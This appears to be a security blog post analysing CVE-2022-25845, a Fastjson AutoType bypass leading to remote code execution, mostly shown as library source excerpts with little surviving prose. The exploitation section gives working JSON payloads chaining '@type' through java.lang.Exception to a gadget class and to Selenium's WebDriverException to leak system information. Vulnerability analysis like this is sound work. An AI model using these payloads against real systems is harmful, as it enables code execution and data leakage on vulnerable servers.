The Fastjson “Auto Type Bypass” leads to RCE vulnerability — CVE-2022–25845

Who is affected by the Fastjson vulnerability CVE-2022–25845?

Technical Deep-dive

import com.alibaba.fastjson.JSON;
...
public class App
{
public static void main( String[] args )
{
...
String jsonString = JSON.toJSONString(user);
User user2 = JSON.parseObject(jsonString, User.class);
}
}
{
"users": [
{
"@type": "AdminUser",
"username": "admin",
"password": "21232f297a57a5a743894a0e4a801fc3"
},
{
"@type": "GuestUser",
"username": "guest",
"password": ""
}
]
}
JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

Bypassing the AutoType disabled-by-default policy

if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');

if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
  • java.lang.Object
  • java.io.Serializable
  • java.lang.Cloneable
  • java.lang.Runnable
  • java.lang.AutoCloseable
  • java.io.Closeable
  • java.lang.Iterable
  • java.util.Collection
  • java.lang.Readable
  • java.util.EventListener
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
Constructor<?> defaultConstructor = null;
Constructor<?> messageConstructor = null;
Constructor<?> causeConstructor = null;
for (Constructor<?> constructor : exClass.getConstructors()) {
Class<?>[] types = constructor.getParameterTypes();
if (types.length == 0) {
defaultConstructor = constructor;
continue;
}

if (types.length == 1 && types[0] == String.class) {
messageConstructor = constructor;
continue;
}

if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
causeConstructor = constructor;
continue;
}
}

if (causeConstructor != null) {
return (Throwable) causeConstructor.newInstance(message, cause);
}

if (messageConstructor != null) {
return (Throwable) messageConstructor.newInstance(message);
}

if (defaultConstructor != null) {
return (Throwable) defaultConstructor.newInstance();
}
if (otherValues != null) {
JavaBeanDeserializer exBeanDeser = null;

if (exClass != null) {
if (exClass == clazz) {
exBeanDeser = this;
} else {
ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
if (exDeser instanceof JavaBeanDeserializer) {
exBeanDeser = (JavaBeanDeserializer) exDeser;
}
}
}

if (exBeanDeser != null) {
for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
String key = entry.getKey();
Object value = entry.getValue();

FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
if (fieldDeserializer != null) {
FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
if (!fieldInfo.fieldClass.isInstance(value)) {
value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
}
fieldDeserializer.setValue(ex, value);
}
}
}
}

How can CVE-2022–25845 be exploited?

{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"y":{
"$ref":"$x.systemInformation"
}
}
"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

How can CVE-2022–25845 be remediated?

How can CVE-2022–25845 be mitigated?

--

--

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.

Love podcasts or audiobooks? Learn on the go with our new app.

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
TutorialBoy

TutorialBoy

Our mission is to get you into information security. We'll introduce you to penetration testing and Red Teaming. We cover network testing, Active Directory.